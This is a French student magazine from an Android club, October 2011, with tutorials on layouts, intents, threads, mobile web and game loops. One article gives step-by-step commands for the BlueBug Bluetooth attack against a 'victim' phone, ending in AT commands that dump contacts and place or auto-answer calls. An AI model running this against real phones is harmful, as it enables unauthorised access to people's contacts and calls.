iac mag n°2

17

Upload: insat-android-club

Post on 24-Mar-2016

233 views

Category:

Documents


3 download

DESCRIPTION

2ème numéro IAC MAG 2 Octobre 2011

TRANSCRIPT

Page 1: IAC MAG N°2
Page 2: IAC MAG N°2

EDITORIAL

Pourquoi Android reste le meilleur OS ? Ecrit Par: Mariem Zaouali

Google a intégré à merveille ses principaux services dans le système. Etre dans la mesure de synchroniser en temps réel les contacts du téléphone et ceux de Gmail facilite énormément de choses !

Les interfaces graphiques

Les intents et les threads

Attaque BlueBug

1

Editorial p.1

p.3

p.6

p.9

Une idée de génie

Eh bien, c’est la formule magique: une technologie excellente qui s’ajoute à l’ouverture totale. C’est un magnifique choix stratégique et industriel. En effet, les grands constructeurs du téléphone mobile à part Nokia qui n’appartient pas à la liste des membres de l’Open Hanset Alliance , ont opté pour le robot vert. Ce qui induit qu’à court terme, la vaste majorité de l’offre de téléphone sera sous Android.

Android deviendra donc le

standard. C’est une stratégie brillante qui incorpore la culture technologique web de Google.

Gestion de données

Avec un téléphone Android, la simplicité est de mise. On copie les fichiers (musique, photos, vidéos), où l’on veut sur la carte SD (ou la mémoire interne) et tout est détecté par le système. C’est facile et répond aux besoins des utilisateurs. Chez Apple, la logique est différente. Sans jailbreak, le seul moyen de mettre des données (musique, photos, vidéos) sur le mobile est de synchroniser tout cela par iTunes. Ce qui fait que le processus devient contraignant et fastidieux.

Services Google

Premiers pas dans l’univers du Web Mobile

p.11

Développement des jeux sous Android

p.13

Page 3: IAC MAG N°2

Gmail gère également les calendriers. Google Maps propose en plus d’un service de géolocalisation, un vrai GPS à guidage vocale gratuit.

EDITORIAL

2

Le market

Pendant longtemps, on pouvait lire qu’il manquait énormément d’applications sur l’Android market. Il faut avouer que c’est de moins en moins le cas. En effet on trouve tout ce dont on a besoin et en nombre !

Let statistics speak loudly !

PCWorld nous fait un tableau récapulatif des fonctionnalités de Windows Phone 7, iOS, et d’Android. Nous y voyons bien qu’Android est actuellement l’OS qui propose le plus de fonctionnalités !

Page 4: IAC MAG N°2

JAVA SDK

021

Oct 2011

LES INTERFACES GRAPHIQUES

Ecrit par : Bassem Kassis

L’interface graphique est la première chose que nous voyons et que nos utilisateurs verront. Elle doit être :

ergonomique

rapide

simple

agréable

professionnelle

Les layouts

Sous Android, la notion de mise en page est reliée à la notion de Layout

Les layouts les plus utilisés sont :

LinearLayout : Il organise les différents éléments de votre interface sur une ligne ou sur une colonne.

RelativeLayout : Il permet de définir la position des éléments en fonction de la position de leurs éléments parents.

TableLayout : Cette mise en page peut se faire en colonne et en ligne.

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 3

LinearLayout On définit

Un LinearLayout qui prend une orientation horizontale

Un composant ImageView qui permet d'afficher l'icone

Un nouveau LinearLayout qui prend une orientation verticale et on l’ajoute deux zones de texte.

Page 5: IAC MAG N°2

Les composants graphiques :

● Button : Un bouton cliquable.

● CheckBox : Une checkbox. ● EditText : Un champ de texte

éditable. ● DatePicker: Sélection de dates. ● RadioButton : Représente les

boutons radios. ● ImageButton: Une image qui

se comporte comme un bouton. ● ImageView : une image ● TextView : un texte

TUTORIAL

02

TableLayout

Organiser les widgets en lignes et en colonnes

INSAT ANDROID MAGAZINE 4

RelativeLayout

Placer les éléments selon d’autres éléments du conteneur.

Issue 02 Octobre 2011

L’ergonomie des interfaces ajoute une valeur d’avantage à votre travail. Une application est mal vue si elle est mal présentée même si elle cache derrière des mécanismes sophistiqués !

Page 6: IAC MAG N°2

TUTORIAL

02

INSAT ANDROID MAGAZINE 5

Les bonnes pratiques :

Il est conseillé de travailler avec RelativeLayout

Eviter de travailler avec AbsoluteLayout

Essayer d'utiliser les styles, les

includes à fin de réduire la quantité du code

Eviter d’utiliser px comme unité

de mesure Utiliser dp

Issue 02 Octobre 2011

Page 7: IAC MAG N°2

JAVA SDK

031

Oct 2011

LES INTENTS ET LES THREADS

Ecrit par : Bassem Kassis

Les Intents

Représente une description abstraite d’une opération à effectuer

Un objet Intent est un paquet d'information

Les Intents permettent de communiquer entre les différentes activités

de notre application

Passage des paramètres

Pour éviter ce fameux message d’erreur, il faut maîtriser la notion des threads sous Android.

Pour passer des paramètres à une activité, il faut stocker les

paramètres dans un objet Bundle

Envoi des paramètres

La méthode putXXX :

String : passer une chaine de caractère

Int : passer un entier

Double : passer un double

put : passer un objet

NB : Cet objet doit être serializable (implémente l’interface Serializable)

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 6

Page 8: IAC MAG N°2

TUTORIAL

03

INSAT ANDROID MAGAZINE 7

Récupération des paramètres

La méthode getXXX :

String : récupérer une chaine de caractère

Int : récupérer un entier

Double : récupérer un double

get : récupérer un objet

Cet objet doit être serializable (implémente l’interface Serializable)

Passage entre activités Intent intent = new Intent ( Context , Activity) ; startActivity(intent);

Issue 02 Octobre 2011

Page 9: IAC MAG N°2

Les threads

TUTORIAL

03

Il existe plusieurs méthodes pour implémenter les threads :

Handle

Runnable

AsyncTask

On va se concentrer sur la dernière vu qu’on l’utilise fréquemment

AsyncTask

Une classe abstraite qui fournit plusieurs méthodes de gestion de l'interaction entre le thread d'interface et le fil de fond.

OnPreExecute: La première méthode appelée dans l’AsyncTask, a appelé le thread d'interface utilisateur. doInBackground: La méthode qui exécute les tâches de temps et de publier l'avancement d'une tâche, exécutée dans le thread d'arrière-plan. OnPostExecute: La méthode finale qui est appelée après la fin de doInBackground, ici on peut mettre à jour l'interface utilisateur avec les résultats de l'AsyncTask. onCancelled: Est appelée si le AsyncTask.cancel () est appelée méthodes, mettre fin à l'exécution de la AsyncTask.

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 8

Page 10: IAC MAG N°2

SECURITE

011

Oct 2011

ATTAQUE BLUEBUG

Ecrit par : Abdelfateh Marzougui

Présentation générale de l’attaque Bluebug

BlueBug est le nom d'une faille de sécurité Bluetooth sur certains téléphones cellulaires compatibles Bluetooth. Exploiter cette faille permet de télécharger des livres non autorisés de téléphone et de savoir les listes d'appels, d'envoi et lire des messages SMS à partir du téléphone attaqué et beaucoup plus de choses. Elle consiste à se connecter sur un port RFCOMM ne nécessitant aucune authentification permettant l’accès à un set de commandes AT*.

ETAPE 1: Préparation des outils d’attaque

Vous devez tout d’abords installer

le système d’exploitation ubuntu. Par la suite vous devez installer une liste des paquets en tapant les commandes suivantes : $sudo apt-get install bluez

$sudo apt-get install cu

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 9

ETAPE 2: Activation du Bluetooth sur le pc

ETAPE 3: Recherche des périphériques Scanner la liste des périphériques bluetooth activé prés de votre emplacement en tapant la commande : $hcitool scan Ensuite copier l’adresse mac de votre victime. Remarque :pour cet exemple on va prendre 00 :21 :D1 :8A :CO :D3 comme adresse mac du notre victime.

ETAPE 4: Déterminisation du canal de communication

Déterminer la liste des services disponible dans ce téléphone portable en tapant la commande : $sdptool browse 00 :21 :D1 :8A :CO :D3 Après Chercher le canal dédié au service serial port ou bien Com1.

Page 11: IAC MAG N°2

TUTORIAL

01

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011

ETAPE 5 : Etablir la liaison avec le téléphone portable victime

Effectuer l’opération de la liaison entre le rfomm device et le victime. En tapant la commande : $sudo rfcomm bind 0 adresse_mac numéro_canal Pour notre cas : l’adresse mac : 00 :21 :D1 :8A :CO numéro_canal : 2

10

ETAPE 6 : Se connecter au

terminal victime

Pour finaliser l’opération de connexion totale avec le téléphone potable victime, il suffit de taper la commande :

$cu –l /dev/rfcomm0 A ce moment il y’avait deux situations possibles qui dépendent de la version du Bluetooth de la téléphone portable victime: 1 – un message d’information va être affiché au niveau de l’afficheur de la victime pour lui informer que pc-xxx veut se connecter sur son téléphone, dès qu’il tape ok, rien ne se passe au niveau du l’appareil victime mais vous avez maintenant un contrôle totale sur l’appareil en utilisant les commandes AT* présenter dans l’étape 7. 2 - un message d’information va être affiché au niveau de l’afficheur de victime pour lui informer que pc-xxx veut se connecter sur son téléphone, dès qu’il tape ok, un code d’authentification est demandé par l’appareil victime pour finaliser l’étape de connexion mais dès que vous arrivé à ce connecter vous avez un contrôle totale sur l’appareil en utilisant les commandes AT* présenter dans l’étape 7.

ETAPE 7 : Exemples de quelques attaques possibles par la

commande AT

1 - Pour récupérer les 30 premiers contacts dans la carte Sim de la victime taper : at+cpbr=1,30 2 – Pour lancer un appel téléphonique :

Atdt numéro_de_téléphone

Pour décrocher le prochaine appel automatiquement après une seule tonalité (c’est-à-dire un seul bip) taper la commande : ATS0=1 Pour savoir l’état de la batterie de l’appareil de la victime : at+cbc Pour plus de détails sur les autres commandes AT possible, visiter le site ci-dessous : http://www.technologuepro.com/gsm/commande_at.htm

Page 12: IAC MAG N°2

WEBMOBILE

011

Oct 2011

PREMIER PAS DANS L’UNIVERS DU WEBMOBILE

Ecrit par : Mariem Thabti

Pendant le mois d’Octobre, la première phase des travaux de l’atelier WebMobile du club Android de l’INSAT a été parfaitement déroulée puisque l’équipe a reconnu des éléments super-motivés pour découvrir le monde des émerveilles du web mobile

Comme premier pas, nous avons introduit la notion du web mobile avec les nouveautés du HTML5 & CSS3 en citant à chaque fois les avantages et la puissance du web par rapport au mobile, pour cela nous comparons à chaque fois les applications mobiles avec les natives, à titre indicatif voilà quelques avantages du web mobile (source : http://www.blog-nouvelles-technologies.fr):

- pas de frais lorsqu’une application

Web mobile est mise sur le marché.

- pas besoin d’être approuvé, ce qui

signifie qu’une application Web peut

être créée sur à peu près n’importe

quel sujet.

- Les applications Web mobiles sont

conçues pour fonctionner sur tous les

navigateurs mobiles qui existent et

les utilisateurs n’ont ainsi pas besoin

de télécharger une application ou sa

mise à jour.

- les applications Web permettent aux

utilisateurs d’accéder à leur contenu

sur différents appareils mobiles

facilitant ainsi son utilisation.

Enfin, les applications web sont beaucoup plus faciles et moins chers à

développer que les applications natives.

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 11

En outre, dans une deuxième étape, nous avons mis en œuvre le processus de détection des mobiles et nous avons entamé la maitrise de quelques méthodes de détection des mobiles. Parmi ces méthodes, nous avons découvert les média-queries : Les media queries sont assez récentes, elles font parties d’un module CSS3. Elles permettent d'adapter la présentation du contenu à un ensemble particulier de périphériques sans changer le contenu lui-même. Par exemple nous allons appliquer une feuille de style en fonction de la taille de l’écran :

Si la largeur de l’écran est inférieure à

480 pixels, on va appliquer le style

défini par le fichier smallscreen.css

Sinon on appliquera celui du fichier

largescreen.css

/IAC/media.html

Smallscreen.css

Largescreen.css

Page 13: IAC MAG N°2

TUTORIAL

01

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 12

Testons ce code sur pc

Sur un Androphone on a

Pour plus d’informations sur le sujet des media-queries, veuillez consulter ce lien.

En analysant les applications web mobile, nous avons constaté quelques inconvénients puisque une application 100% web ne permet pas un accès à la majorité des capacités des périphériques, comme le camera, vibreur & l’accéléromètre…

D’ici, nous avons découvert les

applications hybrides, qui unissent les avantages de l’application web et celles de la native. Comme Framework de développement des applications hybrides, nous avons travaillé avec Phonegap qui offre au développeur un moyen de construire des applications sur une seule plateforme et les déployer sur n’importe quel Appareil mobile (Android, WP, iOS…).

Page 14: IAC MAG N°2

GAMING

011

Oct 2011

DEVELOPPEMENT DES JEUX SOUS ANDROID

Ecrit par : Seif Karoui

L’idée du jeu

D’abord, il faut se poser la question suivante : est-ce que je vais développer un jeu causal, action, aventure ou stratégie;

Est-ce que c’est un jeu 2D ou 3D ...

Après avoir choisi les grands traits de jeu, je dois inventer une histoire pour mon héros, les conditions de victoire ou de perte, les obstacles, les ennemies et tous ce qui concerne le scenario de jeu..

Architecture du jeu

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 13

PARTIE 1

Input : l’écran éventuellement tactile, le clavier physique, le microphone , la camera, l’accéléromètre ou même le GPS.. User input : l’événement généré après l’utilisation de l’outil de l’input Game Logic : le module Game Logic est responsable de changer le statut des objets dans le jeu.. Audio : le module responsable de son Graphics : le module responsable de dessiner le statut du jeu … Output : le résultat des modules son et graphiques et éventuellement la vibration…

Avant de créer le game loop, on doit créer un simple view (Notre panel de jeu) pour manipuler les événements comme le « Ontouch » et de garder le cycle de vie de jeu.

Cette activity hérite de la classe

SurfaceView et implémente la SurfaceHolder.callback pour gagner l’accès au changement de surface comme en cas d’orientation de l’appareil …

La structure de code source de

cette activité doit être comme la suivante:

Création du Panneau de jeu

getHolder().addCallback(this); => Cette ligne rend cette classe comme le traiteur des événements qui se passe dans la surface actuelle setFocusable(true); => cette ligne rend notre panneau de jeu focalisable… c'est-à-dire elle peut gérer les événements

Page 15: IAC MAG N°2

TUTORIAL

01

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011 14

Création du “Game Loop”

-Le Game Loop ou en français la boucle de jeu est le cœur de chaque jeu. Le principe est simple, on sait bien qu’on doit traiter les inputs, puis la mise à jour du statut interne de jeu et enfin dessiner les images sur l’écran …

Maintenant on va créer le thread qui sera notre Game Loop

Private boolean running : => « running » c’est le drapeau de statut de notre jeu .. si le booléen running est vrai alors la méthode run() fait une boucle infini.. Maintenant on instancie le Game Loop dans le constructeur de notre panneau de jeu et on le démarre dans la fonction SurfaceCreated Classe GamePanel après l’instanciation de GameLoop

Page 16: IAC MAG N°2

GALERIE

011

Oct 2011

WORKSHOPS OF OCTOBER

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011

Les réunions de l’ Insat Android Club portaient ce mois sur les thèmes suivants :

Atelier Java SDK :

Interface graphique en XML

Les composants

Les bonnes pratiques

Structure d’un projet Android

Cycle de vie d’une Activité

Les intents

Les threads

Persistance des données

Les fichiers

Les préférences

SQLite

Démo SQLite

Page 17: IAC MAG N°2

Atelier JAVA:

Aperçu de l’histoire de JAVA

Les caractéristiques du langage JAVA (Robustesse,

Portabilité..)

Le concept d’orienté objet

Atelier Gaming:

Présentation du domaine des jeux en Tunisie

Simulation d’une animation d’un bonhomme à l’écran

Atelier WebMobile:

• Web Mobile, c’est quoi ? Exemple, Avantages… • Détection des mobiles Android, iPhone, Blackberry… • Les applications « Hybrides » Phonegap

Atelier Sécurité:

A quelles menaces les smartphones android sont-ils exposés ?

Trojan, Faille de skype, HippoSMS, Nickispy, Stealing android sd card

Protection contre les virus

Mcafee, Lookout Mobile Security, BitDfender, DrWeb Atelier Adobe Flex:

Présentation du Framework Flex

Définition des différents outils qui entrent en jeu

Présentation de l’environnement de travail Flash Builder 4.5

Enumération des bonnes techniques de développement multiplateformes

Mail de l’INSAT Android CLUB

[email protected]

GALERIE

01

INSAT ANDROID MAGAZINE Issue 02 Octobre 2011